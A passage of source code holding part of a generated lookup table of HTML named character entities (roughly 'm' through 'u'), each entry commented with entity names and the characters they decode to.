			"\x05omma;\x03⨩\x02y;\x02м",
			// mdash;[—].
			"\x04ash;\x03—",
			// measuredangle;[∡].
			"\x0casuredangle;\x03∡",
			// mfr;[𝔪].
			"\x02r;\x04𝔪",
			// mho;[℧].
			"\x02o;\x03℧",
			// minusdu;[⨪] midast;[*] midcir;[⫰] middot;[·] minusb;[⊟] minusd;[∸] micro;[µ] middot[·] minus;[−] micro[µ] mid;[∣].
			"\x06nusdu;\x03⨪\x05dast;\x01*\x05dcir;\x03⫰\x05ddot;\x02·\x05nusb;\x03⊟\x05nusd;\x03∸\x04cro;\x02µ\x04ddot\x02·\x04nus;\x03−\x03cro\x02µ\x02d;\x03∣",
			// mlcp;[⫛] mldr;[…].
			"\x03cp;\x03⫛\x03dr;\x03…",
			// mnplus;[∓].
			"\x05plus;\x03∓",
			// models;[⊧] mopf;[𝕞].
			"\x05dels;\x03⊧\x03pf;\x04𝕞",
			// mp;[∓].
			"\x01;\x03∓",
			// mstpos;[∾] mscr;[𝓂].
			"\x05tpos;\x03∾\x03cr;\x04𝓂",
			// multimap;[⊸] mumap;[⊸] mu;[μ].
			"\x07ltimap;\x03⊸\x04map;\x03⊸\x01;\x02μ",
			// nGtv;[≫̸] nGg;[⋙̸] nGt;[≫⃒].
			"\x03tv;\x05≫̸\x02g;\x05⋙̸\x02t;\x06≫⃒",
			// nLeftrightarrow;[⇎] nLeftarrow;[⇍] nLtv;[≪̸] nLl;[⋘̸] nLt;[≪⃒].
			"\x0eeftrightarrow;\x03⇎\x09eftarrow;\x03⇍\x03tv;\x05≪̸\x02l;\x05⋘̸\x02t;\x06≪⃒",
			// nRightarrow;[⇏].
			"\x0aightarrow;\x03⇏",
			// nVDash;[⊯] nVdash;[⊮].
			"\x05Dash;\x03⊯\x05dash;\x03⊮",
			// naturals;[ℕ] napprox;[≉] natural;[♮] nacute;[ń] nabla;[∇] napid;[≋̸] napos;[ʼn] natur;[♮] nang;[∠⃒] napE;[⩰̸] nap;[≉].
			"\x07turals;\x03ℕ\x06pprox;\x03≉\x06tural;\x03♮\x05cute;\x02ń\x04bla;\x03∇\x04pid;\x05≋̸\x04pos;\x02ʼn\x04tur;\x03♮\x03ng;\x06∠⃒\x03pE;\x05⩰̸\x02p;\x03≉",
			// nbumpe;[≏̸] nbump;[≎̸] nbsp;[ ] nbsp[ ].
			"\x05umpe;\x05≏̸\x04ump;\x05≎̸\x03sp;\x02 \x02sp\x02 ",
			// ncongdot;[⩭̸] ncaron;[ň] ncedil;[ņ] ncong;[≇] ncap;[⩃] ncup;[⩂] ncy;[н].
			"\x07ongdot;\x05⩭̸\x05aron;\x02ň\x05edil;\x02ņ\x04ong;\x03≇\x03ap;\x03⩃\x03up;\x03⩂\x02y;\x02н",
			// ndash;[–].
			"\x04ash;\x03–",
			// nearrow;[↗] nexists;[∄] nearhk;[⤤] nequiv;[≢] nesear;[⤨] nexist;[∄] neArr;[⇗] nearr;[↗] nedot;[≐̸] nesim;[≂̸] ne;[≠].
			"\x06arrow;\x03↗\x06xists;\x03∄\x05arhk;\x03⤤\x05quiv;\x03≢\x05sear;\x03⤨\x05xist;\x03∄\x04Arr;\x03⇗\x04arr;\x03↗\x04dot;\x05≐̸\x04sim;\x05≂̸\x01;\x03≠",
			// nfr;[𝔫].
			"\x02r;\x04𝔫",
			// ngeqslant;[⩾̸] ngeqq;[≧̸] ngsim;[≵] ngeq;[≱] nges;[⩾̸] ngtr;[≯] ngE;[≧̸] nge;[≱] ngt;[≯].
			"\x08eqslant;\x05⩾̸\x04eqq;\x05≧̸\x04sim;\x03≵\x03eq;\x03≱\x03es;\x05⩾̸\x03tr;\x03≯\x02E;\x05≧̸\x02e;\x03≱\x02t;\x03≯",
			// nhArr;[⇎] nharr;[↮] nhpar;[⫲].
			"\x04Arr;\x03⇎\x04arr;\x03↮\x04par;\x03⫲",
			// nisd;[⋺] nis;[⋼] niv;[∋] ni;[∋].
			"\x03sd;\x03⋺\x02s;\x03⋼\x02v;\x03∋\x01;\x03∋",
			// njcy;[њ].
			"\x03cy;\x02њ",
			// nleftrightarrow;[↮] nleftarrow;[↚] nleqslant;[⩽̸] nltrie;[⋬] nlArr;[⇍] nlarr;[↚] nleqq;[≦̸] nless;[≮] nlsim;[≴] nltri;[⋪] nldr;[‥] nleq;[≰] nles;[⩽̸] nlE;[≦̸] nle;[≰] nlt;[≮].
			"\x0eeftrightarrow;\x03↮\x09eftarrow;\x03↚\x08eqslant;\x05⩽̸\x05trie;\x03⋬\x04Arr;\x03⇍\x04arr;\x03↚\x04eqq;\x05≦̸\x04ess;\x03≮\x04sim;\x03≴\x04tri;\x03⋪\x03dr;\x03‥\x03eq;\x03≰\x03es;\x05⩽̸\x02E;\x05≦̸\x02e;\x03≰\x02t;\x03≮",
			// nmid;[∤].
			"\x03id;\x03∤",
			// notindot;[⋵̸] notinva;[∉] notinvb;[⋷] notinvc;[⋶] notniva;[∌] notnivb;[⋾] notnivc;[⋽] notinE;[⋹̸] notin;[∉] notni;[∌] nopf;[𝕟] not;[¬] not[¬].
			"\x07tindot;\x05⋵̸\x06tinva;\x03∉\x06tinvb;\x03⋷\x06tinvc;\x03⋶\x06tniva;\x03∌\x06tnivb;\x03⋾\x06tnivc;\x03⋽\x05tinE;\x05⋹̸\x04tin;\x03∉\x04tni;\x03∌\x03pf;\x04𝕟\x02t;\x02¬\x01t\x02¬",
			// nparallel;[∦] npolint;[⨔] npreceq;[⪯̸] nparsl;[⫽⃥] nprcue;[⋠] npart;[∂̸] nprec;[⊀] npar;[∦] npre;[⪯̸] npr;[⊀].
			"\x08arallel;\x03∦\x06olint;\x03⨔\x06receq;\x05⪯̸\x05arsl;\x06⫽⃥\x05rcue;\x03⋠\x04art;\x05∂̸\x04rec;\x03⊀\x03ar;\x03∦\x03re;\x05⪯̸\x02r;\x03⊀",
			// nrightarrow;[↛] nrarrc;[⤳̸] nrarrw;[↝̸] nrtrie;[⋭] nrArr;[⇏] nrarr;[↛] nrtri;[⋫].
			"\x0aightarrow;\x03↛\x05arrc;\x05⤳̸\x05arrw;\x05↝̸\x05trie;\x03⋭\x04Arr;\x03⇏\x04arr;\x03↛\x04tri;\x03⋫",
			// nshortparallel;[∦] nsubseteqq;[⫅̸] nsupseteqq;[⫆̸] nshortmid;[∤] nsubseteq;[⊈] nsupseteq;[⊉] nsqsube;[⋢] nsqsupe;[⋣] nsubset;[⊂⃒] nsucceq;[⪰̸] nsupset;[⊃⃒] nsccue;[⋡] nsimeq;[≄] nsime;[≄] nsmid;[∤] nspar;[∦] nsubE;[⫅̸] nsube;[⊈] nsucc;[⊁] nsupE;[⫆̸] nsupe;[⊉] nsce;[⪰̸] nscr;[𝓃] nsim;[≁] nsub;[⊄] nsup;[⊅] nsc;[⊁].
			"\x0dhortparallel;\x03∦\x09ubseteqq;\x05⫅̸\x09upseteqq;\x05⫆̸\x08hortmid;\x03∤\x08ubseteq;\x03⊈\x08upseteq;\x03⊉\x06qsube;\x03⋢\x06qsupe;\x03⋣\x06ubset;\x06⊂⃒\x06ucceq;\x05⪰̸\x06upset;\x06⊃⃒\x05ccue;\x03⋡\x05imeq;\x03≄\x04ime;\x03≄\x04mid;\x03∤\x04par;\x03∦\x04ubE;\x05⫅̸\x04ube;\x03⊈\x04ucc;\x03⊁\x04upE;\x05⫆̸\x04upe;\x03⊉\x03ce;\x05⪰̸\x03cr;\x04𝓃\x03im;\x03≁\x03ub;\x03⊄\x03up;\x03⊅\x02c;\x03⊁",
			// ntrianglerighteq;[⋭] ntrianglelefteq;[⋬] ntriangleright;[⋫] ntriangleleft;[⋪] ntilde;[ñ] ntilde[ñ] ntgl;[≹] ntlg;[≸].
			"\x0frianglerighteq;\x03⋭\x0erianglelefteq;\x03⋬\x0driangleright;\x03⋫\x0criangleleft;\x03⋪\x05ilde;\x02ñ\x04ilde\x02ñ\x03gl;\x03≹\x03lg;\x03≸",
			// numero;[№] numsp;[ ] num;[#] nu;[ν].
			"\x05mero;\x03№\x04msp;\x03 \x02m;\x01#\x01;\x02ν",
			// nvinfin;[⧞] nvltrie;[⊴⃒] nvrtrie;[⊵⃒] nvDash;[⊭] nvHarr;[⤄] nvdash;[⊬] nvlArr;[⤂] nvrArr;[⤃] nvsim;[∼⃒] nvap;[≍⃒] nvge;[≥⃒] nvgt;[>⃒] nvle;[≤⃒] nvlt;[<⃒].
			"\x06infin;\x03⧞\x06ltrie;\x06⊴⃒\x06rtrie;\x06⊵⃒\x05Dash;\x03⊭\x05Harr;\x03⤄\x05dash;\x03⊬\x05lArr;\x03⤂\x05rArr;\x03⤃\x04sim;\x06∼⃒\x03ap;\x06≍⃒\x03ge;\x06≥⃒\x03gt;\x04>⃒\x03le;\x06≤⃒\x03lt;\x04<⃒",
			// nwarrow;[↖] nwarhk;[⤣] nwnear;[⤧] nwArr;[⇖] nwarr;[↖].
			"\x06arrow;\x03↖\x05arhk;\x03⤣\x05near;\x03⤧\x04Arr;\x03⇖\x04arr;\x03↖",
			// oS;[Ⓢ].
			"\x01;\x03Ⓢ",
			// oacute;[ó] oacute[ó] oast;[⊛].
			"\x05cute;\x02ó\x04cute\x02ó\x03st;\x03⊛",
			// ocirc;[ô] ocir;[⊚] ocirc[ô] ocy;[о].
			"\x04irc;\x02ô\x03ir;\x03⊚\x03irc\x02ô\x02y;\x02о",
			// odblac;[ő] odsold;[⦼] odash;[⊝] odiv;[⨸] odot;[⊙].
			"\x05blac;\x02ő\x05sold;\x03⦼\x04ash;\x03⊝\x03iv;\x03⨸\x03ot;\x03⊙",
			// oelig;[œ].
			"\x04lig;\x02œ",
			// ofcir;[⦿] ofr;[𝔬].
			"\x04cir;\x03⦿\x02r;\x04𝔬",
			// ograve;[ò] ograve[ò] ogon;[˛] ogt;[⧁].
			"\x05rave;\x02ò\x04rave\x02ò\x03on;\x02˛\x02t;\x03⧁",
			// ohbar;[⦵] ohm;[Ω].
			"\x04bar;\x03⦵\x02m;\x02Ω",
			// oint;[∮].
			"\x03nt;\x03∮",
			// olcross;[⦻] olarr;[↺] olcir;[⦾] oline;[‾] olt;[⧀].
			"\x06cross;\x03⦻\x04arr;\x03↺\x04cir;\x03⦾\x04ine;\x03‾\x02t;\x03⧀",
			// omicron;[ο] ominus;[⊖] omacr;[ō] omega;[ω] omid;[⦶].
			"\x06icron;\x02ο\x05inus;\x03⊖\x04acr;\x02ō\x04ega;\x02ω\x03id;\x03⦶",
			// oopf;[𝕠].
			"\x03pf;\x04𝕠",
			// operp;[⦹] oplus;[⊕] opar;[⦷].
			"\x04erp;\x03⦹\x04lus;\x03⊕\x03ar;\x03⦷",
			// orderof;[ℴ] orslope;[⩗] origof;[⊶] orarr;[↻] order;[ℴ] ordf;[ª] ordm;[º] oror;[⩖] ord;[⩝] ordf[ª] ordm[º] orv;[⩛] or;[∨].
			"\x06derof;\x03ℴ\x06slope;\x03⩗\x05igof;\x03⊶\x04arr;\x03↻\x04der;\x03ℴ\x03df;\x02ª\x03dm;\x02º\x03or;\x03⩖\x02d;\x03⩝\x02df\x02ª\x02dm\x02º\x02v;\x03⩛\x01;\x03∨",
			// oslash;[ø] oslash[ø] oscr;[ℴ] osol;[⊘].
			"\x05lash;\x02ø\x04lash\x02ø\x03cr;\x03ℴ\x03ol;\x03⊘",
			// otimesas;[⨶] otilde;[õ] otimes;[⊗] otilde[õ].
			"\x07imesas;\x03⨶\x05ilde;\x02õ\x05imes;\x03⊗\x04ilde\x02õ",
			// ouml;[ö] ouml[ö].
			"\x03ml;\x02ö\x02ml\x02ö",
			// ovbar;[⌽].
			"\x04bar;\x03⌽",
			// parallel;[∥] parsim;[⫳] parsl;[⫽] para;[¶] part;[∂] par;[∥] para[¶].
			"\x07rallel;\x03∥\x05rsim;\x03⫳\x04rsl;\x03⫽\x03ra;\x02¶\x03rt;\x03∂\x02r;\x03∥\x02ra\x02¶",
			// pcy;[п].
			"\x02y;\x02п",
			// pertenk;[‱] percnt;[%] period;[.] permil;[‰] perp;[⊥].
			"\x06rtenk;\x03‱\x05rcnt;\x01%\x05riod;\x01.\x05rmil;\x03‰\x03rp;\x03⊥",
			// pfr;[𝔭].
			"\x02r;\x04𝔭",
			// phmmat;[ℳ] phone;[☎] phiv;[ϕ] phi;[φ].
			"\x05mmat;\x03ℳ\x04one;\x03☎\x03iv;\x02ϕ\x02i;\x02φ",
			// pitchfork;[⋔] piv;[ϖ] pi;[π].
			"\x08tchfork;\x03⋔\x02v;\x02ϖ\x01;\x02π",
			// plusacir;[⨣] planckh;[ℎ] pluscir;[⨢] plussim;[⨦] plustwo;[⨧] planck;[ℏ] plankv;[ℏ] plusdo;[∔] plusdu;[⨥] plusmn;[±] plusb;[⊞] pluse;[⩲] plusmn[±] plus;[+].
			"\x07usacir;\x03⨣\x06anckh;\x03ℎ\x06uscir;\x03⨢\x06ussim;\x03⨦\x06ustwo;\x03⨧\x05anck;\x03ℏ\x05ankv;\x03ℏ\x05usdo;\x03∔\x05usdu;\x03⨥\x05usmn;\x02±\x04usb;\x03⊞\x04use;\x03⩲\x04usmn\x02±\x03us;\x01+",
			// pm;[±].
			"\x01;\x02±",
			// pointint;[⨕] pound;[£] popf;[𝕡] pound[£].
			"\x07intint;\x03⨕\x04und;\x02£\x03pf;\x04𝕡\x03und\x02£",
			// preccurlyeq;[≼] precnapprox;[⪹] precapprox;[⪷] precneqq;[⪵] precnsim;[⋨] profalar;[⌮] profline;[⌒] profsurf;[⌓] precsim;[≾] preceq;[⪯] primes;[ℙ] prnsim;[⋨] propto;[∝] prurel;[⊰] prcue;[≼] prime;[′] prnap;[⪹] prsim;[≾] prap;[⪷] prec;[≺] prnE;[⪵] prod;[∏] prop;[∝] prE;[⪳] pre;[⪯] pr;[≺].
			"\x0aeccurlyeq;\x03≼\x0aecnapprox;\x03⪹\x09ecapprox;\x03⪷\x07ecneqq;\x03⪵\x07ecnsim;\x03⋨\x07ofalar;\x03⌮\x07ofline;\x03⌒\x07ofsurf;\x03⌓\x06ecsim;\x03≾\x05eceq;\x03⪯\x05imes;\x03ℙ\x05nsim;\x03⋨\x05opto;\x03∝\x05urel;\x03⊰\x04cue;\x03≼\x04ime;\x03′\x04nap;\x03⪹\x04sim;\x03≾\x03ap;\x03⪷\x03ec;\x03≺\x03nE;\x03⪵\x03od;\x03∏\x03op;\x03∝\x02E;\x03⪳\x02e;\x03⪯\x01;\x03≺",
			// pscr;[𝓅] psi;[ψ].
			"\x03cr;\x04𝓅\x02i;\x02ψ",
			// puncsp;[ ].
			"\x05ncsp;\x03 ",
			// qfr;[𝔮].
			"\x02r;\x04𝔮",
			// qint;[⨌].
			"\x03nt;\x03⨌",
			// qopf;[𝕢].
			"\x03pf;\x04𝕢",
			// qprime;[⁗].
			"\x05rime;\x03⁗",
			// qscr;[𝓆].
			"\x03cr;\x04𝓆",
			// quaternions;[ℍ] quatint;[⨖] questeq;[≟] quest;[?] quot;[\"] quot[\"].
			"\x0aaternions;\x03ℍ\x06atint;\x03⨖\x06esteq;\x03≟\x04est;\x01?\x03ot;\x01\"\x02ot\x01\"",
			// rAtail;[⤜] rAarr;[⇛] rArr;[⇒].
			"\x05tail;\x03⤜\x04arr;\x03⇛\x03rr;\x03⇒",
			// rBarr;[⤏].
			"\x04arr;\x03⤏",
			// rHar;[⥤].
			"\x03ar;\x03⥤",
			// rationals;[ℚ] raemptyv;[⦳] rarrbfs;[⤠] rarrsim;[⥴] racute;[ŕ] rangle;[⟩] rarrap;[⥵] rarrfs;[⤞] rarrhk;[↪] rarrlp;[↬] rarrpl;[⥅] rarrtl;[↣] ratail;[⤚] radic;[√] rangd;[⦒] range;[⦥] raquo;[»] rarrb;[⇥] rarrc;[⤳] rarrw;[↝] ratio;[∶] race;[∽̱] rang;[⟩] raquo[»] rarr;[→].
			"\x08tionals;\x03ℚ\x07emptyv;\x03⦳\x06rrbfs;\x03⤠\x06rrsim;\x03⥴\x05cute;\x02ŕ\x05ngle;\x03⟩\x05rrap;\x03⥵\x05rrfs;\x03⤞\x05rrhk;\x03↪\x05rrlp;\x03↬\x05rrpl;\x03⥅\x05rrtl;\x03↣\x05tail;\x03⤚\x04dic;\x03√\x04ngd;\x03⦒\x04nge;\x03⦥\x04quo;\x02»\x04rrb;\x03⇥\x04rrc;\x03⤳\x04rrw;\x03↝\x04tio;\x03∶\x03ce;\x05∽̱\x03ng;\x03⟩\x03quo\x02»\x03rr;\x03→",
			// rbrksld;[⦎] rbrkslu;[⦐] rbrace;[}] rbrack;[]] rbarr;[⤍] rbbrk;[❳] rbrke;[⦌].
			"\x06rksld;\x03⦎\x06rkslu;\x03⦐\x05race;\x01}\x05rack;\x01]\x04arr;\x03⤍\x04brk;\x03❳\x04rke;\x03⦌",
			// rcaron;[ř] rcedil;[ŗ] rceil;[⌉] rcub;[}] rcy;[р].
			"\x05aron;\x02ř\x05edil;\x02ŗ\x04eil;\x03⌉\x03ub;\x01}\x02y;\x02р",
			// rdldhar;[⥩] rdquor;[”] rdquo;[”] rdca;[⤷] rdsh;[↳].
			"\x06ldhar;\x03⥩\x05quor;\x03”\x04quo;\x03”\x03ca;\x03⤷\x03sh;\x03↳",
			// realpart;[ℜ] realine;[ℛ] reals;[ℝ] real;[ℜ] rect;[▭] reg;[®] reg[®].
			"\x07alpart;\x03ℜ\x06aline;\x03ℛ\x04als;\x03ℝ\x03al;\x03ℜ\x03ct;\x03▭\x02g;\x02®\x01g\x02®",
			// rfisht;[⥽] rfloor;[⌋] rfr;[𝔯].
			"\x05isht;\x03⥽\x05loor;\x03⌋\x02r;\x04𝔯",
			// rharul;[⥬] rhard;[⇁] rharu;[⇀] rhov;[ϱ] rho;[ρ].
			"\x05arul;\x03⥬\x04ard;\x03⇁\x04aru;\x03⇀\x03ov;\x02ϱ\x02o;\x02ρ",
			// rightleftharpoons;[⇌] rightharpoondown;[⇁] rightrightarrows;[⇉] rightleftarrows;[⇄] rightsquigarrow;[↝] rightthreetimes;[⋌] rightarrowtail;[↣] rightharpoonup;[⇀] risingdotseq;[≓] rightarrow;[→] ring;[˚].
			"\x10ghtleftharpoons;\x03⇌\x0fghtharpoondown;\x03⇁\x0fghtrightarrows;\x03⇉\x0eghtleftarrows;\x03⇄\x0eghtsquigarrow;\x03↝\x0eghtthreetimes;\x03⋌\x0dghtarrowtail;\x03↣\x0dghtharpoonup;\x03⇀\x0bsingdotseq;\x03≓\x09ghtarrow;\x03→\x03ng;\x02˚",
			// rlarr;[⇄] rlhar;[⇌] rlm;[‏].
			"\x04arr;\x03⇄\x04har;\x03⇌\x02m;\x03‏",
			// rmoustache;[⎱] rmoust;[⎱].
			"\x09oustache;\x03⎱\x05oust;\x03⎱",
			// rnmid;[⫮].
			"\x04mid;\x03⫮",
			// rotimes;[⨵] roplus;[⨮] roang;[⟭] roarr;[⇾] robrk;[⟧] ropar;[⦆] ropf;[𝕣].
			"\x06times;\x03⨵\x05plus;\x03⨮\x04ang;\x03⟭\x04arr;\x03⇾\x04brk;\x03⟧\x04par;\x03⦆\x03pf;\x04𝕣",
			// rppolint;[⨒] rpargt;[⦔] rpar;[)].
			"\x07polint;\x03⨒\x05argt;\x03⦔\x03ar;\x01)",
			// rrarr;[⇉].
			"\x04arr;\x03⇉",
			// rsaquo;[›] rsquor;[’] rsquo;[’] rscr;[𝓇] rsqb;[]] rsh;[↱].
			"\x05aquo;\x03›\x05quor;\x03’\x04quo;\x03’\x03cr;\x04𝓇\x03qb;\x01]\x02h;\x03↱",
			// rtriltri;[⧎] rthree;[⋌] rtimes;[⋊] rtrie;[⊵] rtrif;[▸] rtri;[▹].
			"\x07riltri;\x03⧎\x05hree;\x03⋌\x05imes;\x03⋊\x04rie;\x03⊵\x04rif;\x03▸\x03ri;\x03▹",
			// ruluhar;[⥨].
			"\x06luhar;\x03⥨",
			// rx;[℞].
			"\x01;\x03℞",
			// sacute;[ś].
			"\x05cute;\x02ś",
			// sbquo;[‚].
			"\x04quo;\x03‚",
			// scpolint;[⨓] scaron;[š] scedil;[ş] scnsim;[⋩] sccue;[≽] scirc;[ŝ] scnap;[⪺] scsim;[≿] scap;[⪸] scnE;[⪶] scE;[⪴] sce;[⪰] scy;[с] sc;[≻].
			"\x07polint;\x03⨓\x05aron;\x02š\x05edil;\x02ş\x05nsim;\x03⋩\x04cue;\x03≽\x04irc;\x02ŝ\x04nap;\x03⪺\x04sim;\x03≿\x03ap;\x03⪸\x03nE;\x03⪶\x02E;\x03⪴\x02e;\x03⪰\x02y;\x02с\x01;\x03≻",
			// sdotb;[⊡] sdote;[⩦] sdot;[⋅].
			"\x04otb;\x03⊡\x04ote;\x03⩦\x03ot;\x03⋅",
			// setminus;[∖] searrow;[↘] searhk;[⤥] seswar;[⤩] seArr;[⇘] searr;[↘] setmn;[∖] sect;[§] semi;[;] sext;[✶] sect[§].
			"\x07tminus;\x03∖\x06arrow;\x03↘\x05arhk;\x03⤥\x05swar;\x03⤩\x04Arr;\x03⇘\x04arr;\x03↘\x04tmn;\x03∖\x03ct;\x02§\x03mi;\x01;\x03xt;\x03✶\x02ct\x02§",
			// sfrown;[⌢] sfr;[𝔰].
			"\x05rown;\x03⌢\x02r;\x04𝔰",
			// shortparallel;[∥] shortmid;[∣] shchcy;[щ] sharp;[♯] shcy;[ш] shy;[­] shy[­].
			"\x0cortparallel;\x03∥\x07ortmid;\x03∣\x05chcy;\x02щ\x04arp;\x03♯\x03cy;\x02ш\x02y;\x02­\x01y\x02­",
			// simplus;[⨤] simrarr;[⥲] sigmaf;[ς] sigmav;[ς] simdot;[⩪] sigma;[σ] simeq;[≃] simgE;[⪠] simlE;[⪟] simne;[≆] sime;[≃] simg;[⪞] siml;[⪝] sim;[∼].
			"\x06mplus;\x03⨤\x06mrarr;\x03⥲\x05gmaf;\x02ς\x05gmav;\x02ς\x05mdot;\x03⩪\x04gma;\x02σ\x04meq;\x03≃\x04mgE;\x03⪠\x04mlE;\x03⪟\x04mne;\x03≆\x03me;\x03≃\x03mg;\x03⪞\x03ml;\x03⪝\x02m;\x03∼",
			// slarr;[←].
			"\x04arr;\x03←",
			// smallsetminus;[∖] smeparsl;[⧤] smashp;[⨳] smile;[⌣] smtes;[⪬︀] smid;[∣] smte;[⪬] smt;[⪪].
			"\x0callsetminus;\x03∖\x07eparsl;\x03⧤\x05ashp;\x03⨳\x04ile;\x03⌣\x04tes;\x06⪬︀\x03id;\x03∣\x03te;\x03⪬\x02t;\x03⪪",
			// softcy;[ь] solbar;[⌿] solb;[⧄] sopf;[𝕤] sol;[/].
			"\x05ftcy;\x02ь\x05lbar;\x03⌿\x03lb;\x03⧄\x03pf;\x04𝕤\x02l;\x01/",
			// spadesuit;[♠] spades;[♠] spar;[∥].
			"\x08adesuit;\x03♠\x05ades;\x03♠\x03ar;\x03∥",
			// sqsubseteq;[⊑] sqsupseteq;[⊒] sqsubset;[⊏] sqsupset;[⊐] sqcaps;[⊓︀] sqcups;[⊔︀] sqsube;[⊑] sqsupe;[⊒] square;[□] squarf;[▪] sqcap;[⊓] sqcup;[⊔] sqsub;[⊏] sqsup;[⊐] squf;[▪] squ;[□].
			"\x09subseteq;\x03⊑\x09supseteq;\x03⊒\x07subset;\x03⊏\x07supset;\x03⊐\x05caps;\x06⊓︀\x05cups;\x06⊔︀\x05sube;\x03⊑\x05supe;\x03⊒\x05uare;\x03□\x05uarf;\x03▪\x04cap;\x03⊓\x04cup;\x03⊔\x04sub;\x03⊏\x04sup;\x03⊐\x03uf;\x03▪\x02u;\x03□",
			// srarr;[→].
			"\x04arr;\x03→",
			// ssetmn;[∖] ssmile;[⌣] sstarf;[⋆] sscr;[𝓈].
			"\x05etmn;\x03∖\x05mile;\x03⌣\x05tarf;\x03⋆\x03cr;\x04𝓈",
			// straightepsilon;[ϵ] straightphi;[ϕ] starf;[★] strns;[¯] star;[☆].
			"\x0eraightepsilon;\x02ϵ\x0araightphi;\x02ϕ\x04arf;\x03★\x04rns;\x02¯\x03ar;\x03☆",
			// succcurlyeq;[≽] succnapprox;[⪺] subsetneqq;[⫋] succapprox;[⪸] supsetneqq;[⫌] subseteqq;[⫅] subsetneq;[⊊] supseteqq;[⫆] supsetneq;[⊋] subseteq;[⊆] succneqq;[⪶] succnsim;[⋩] supseteq;[⊇] subedot;[⫃] submult;[⫁] subplus;[⪿] subrarr;[⥹] succsim;[≿] supdsub;[⫘] supedot;[⫄] suphsol;[⟉] suphsub;[⫗] suplarr;[⥻] supmult;[⫂] supplus;[⫀] subdot;[⪽] subset;[⊂] subsim;[⫇] subsub;[⫕] subsup;[⫓] succeq;[⪰] supdot;[⪾] supset;[⊃] supsim;[⫈] supsub;[⫔] supsup;[⫖] subnE;[⫋] subne;[⊊] supnE;[⫌] supne;[⊋] subE;[⫅] sube;[⊆] succ;[≻] sung;[♪] sup1;[¹] sup2;[²] sup3;[³] supE;[⫆] supe;[⊇] sub;[⊂] sum;[∑] sup1[¹] sup2[²] sup3[³] sup;[⊃].
			"\x0acccurlyeq;\x03≽\x0accnapprox;\x03⪺\x09bsetneqq;\x03⫋\x09ccapprox;\x03⪸\x09psetneqq;\x03⫌\x08bseteqq;\x03⫅\x08bsetneq;\x03⊊\x08pseteqq;\x03⫆\x08psetneq;\x03⊋\x07bseteq;\x03⊆\x07ccneqq;\x03⪶\x07ccnsim;\x03⋩\x07pseteq;\x03⊇\x06bedot;\x03⫃\x06bmult;\x03⫁\x06bplus;\x03⪿\x06brarr;\x03⥹\x06ccsim;\x03≿\x06pdsub;\x03⫘\x06pedot;\x03⫄\x06phsol;\x03⟉\x06phsub;\x03⫗\x06plarr;\x03⥻\x06pmult;\x03⫂\x06pplus;\x03⫀\x05bdot;\x03⪽\x05bset;\x03⊂\x05bsim;\x03⫇\x05bsub;\x03⫕\x05bsup;\x03⫓\x05cceq;\x03⪰\x05pdot;\x03⪾\x05pset;\x03⊃\x05psim;\x03⫈\x05psub;\x03⫔\x05psup;\x03⫖\x04bnE;\x03⫋\x04bne;\x03⊊\x04pnE;\x03⫌\x04pne;\x03⊋\x03bE;\x03⫅\x03be;\x03⊆\x03cc;\x03≻\x03ng;\x03♪\x03p1;\x02¹\x03p2;\x02²\x03p3;\x02³\x03pE;\x03⫆\x03pe;\x03⊇\x02b;\x03⊂\x02m;\x03∑\x02p1\x02¹\x02p2\x02²\x02p3\x02³\x02p;\x03⊃",
			// swarrow;[↙] swarhk;[⤦] swnwar;[⤪] swArr;[⇙] swarr;[↙].
			"\x06arrow;\x03↙\x05arhk;\x03⤦\x05nwar;\x03⤪\x04Arr;\x03⇙\x04arr;\x03↙",
			// szlig;[ß] szlig[ß].
			"\x04lig;\x02ß\x03lig\x02ß",
			// target;[⌖] tau;[τ].
			"\x05rget;\x03⌖\x02u;\x02τ",
			// tbrk;[⎴].
			"\x03rk;\x03⎴",
			// tcaron;[ť] tcedil;[ţ] tcy;[т].
			"\x05aron;\x02ť\x05edil;\x02ţ\x02y;\x02т",
			// tdot;[⃛].
			"\x03ot;\x03⃛",
			// telrec;[⌕].
			"\x05lrec;\x03⌕",
			// tfr;[𝔱].
			"\x02r;\x04𝔱",
			// thickapprox;[≈] therefore;[∴] thetasym;[ϑ] thicksim;[∼] there4;[∴] thetav;[ϑ] thinsp;[ ] thksim;[∼] theta;[θ] thkap;[≈] thorn;[þ] thorn[þ].
			"\x0aickapprox;\x03≈\x08erefore;\x03∴\x07etasym;\x02ϑ\x07icksim;\x03∼\x05ere4;\x03∴\x05etav;\x02ϑ\x05insp;\x03 \x05ksim;\x03∼\x04eta;\x02θ\x04kap;\x03≈\x04orn;\x02þ\x03orn\x02þ",
			// timesbar;[⨱] timesb;[⊠] timesd;[⨰] tilde;[˜] times;[×] times[×] tint;[∭].
			"\x07mesbar;\x03⨱\x05mesb;\x03⊠\x05mesd;\x03⨰\x04lde;\x02˜\x04mes;\x02×\x03mes\x02×\x03nt;\x03∭",
			// topfork;[⫚] topbot;[⌶] topcir;[⫱] toea;[⤨] topf;[𝕥] tosa;[⤩] top;[⊤].
			"\x06pfork;\x03⫚\x05pbot;\x03⌶\x05pcir;\x03⫱\x03ea;\x03⤨\x03pf;\x04𝕥\x03sa;\x03⤩\x02p;\x03⊤",
			// tprime;[‴].
			"\x05rime;\x03‴",
			// trianglerighteq;[⊵] trianglelefteq;[⊴] triangleright;[▹] triangledown;[▿] triangleleft;[◃] triangleq;[≜] triangle;[▵] triminus;[⨺] trpezium;[⏢] triplus;[⨹] tritime;[⨻] tridot;[◬] trade;[™] trisb;[⧍] trie;[≜].
			"\x0eianglerighteq;\x03⊵\x0dianglelefteq;\x03⊴\x0ciangleright;\x03▹\x0biangledown;\x03▿\x0biangleleft;\x03◃\x08iangleq;\x03≜\x07iangle;\x03▵\x07iminus;\x03⨺\x07pezium;\x03⏢\x06iplus;\x03⨹\x06itime;\x03⨻\x05idot;\x03◬\x04ade;\x03™\x04isb;\x03⧍\x03ie;\x03≜",
			// tstrok;[ŧ] tshcy;[ћ] tscr;[𝓉] tscy;[ц].
			"\x05trok;\x02ŧ\x04hcy;\x02ћ\x03cr;\x04𝓉\x03cy;\x02ц",
			// twoheadrightarrow;[↠] twoheadleftarrow;[↞] twixt;[≬].
			"\x10oheadrightarrow;\x03↠\x0foheadleftarrow;\x03↞\x04ixt;\x03≬",
			// uArr;[⇑].
			"\x03rr;\x03⇑",
			// uHar;[⥣].
			"\x03ar;\x03⥣",
			// uacute;[ú] uacute[ú] uarr;[↑].
			"\x05cute;\x02ú\x04cute\x02ú\x03rr;\x03↑",
			// ubreve;[ŭ] ubrcy;[ў].
			"\x05reve;\x02ŭ\x04rcy;\x02ў",
			// ucirc;[û] ucirc[û] ucy;[у].
			"\x04irc;\x02û\x03irc\x02û\x02y;\x02у",
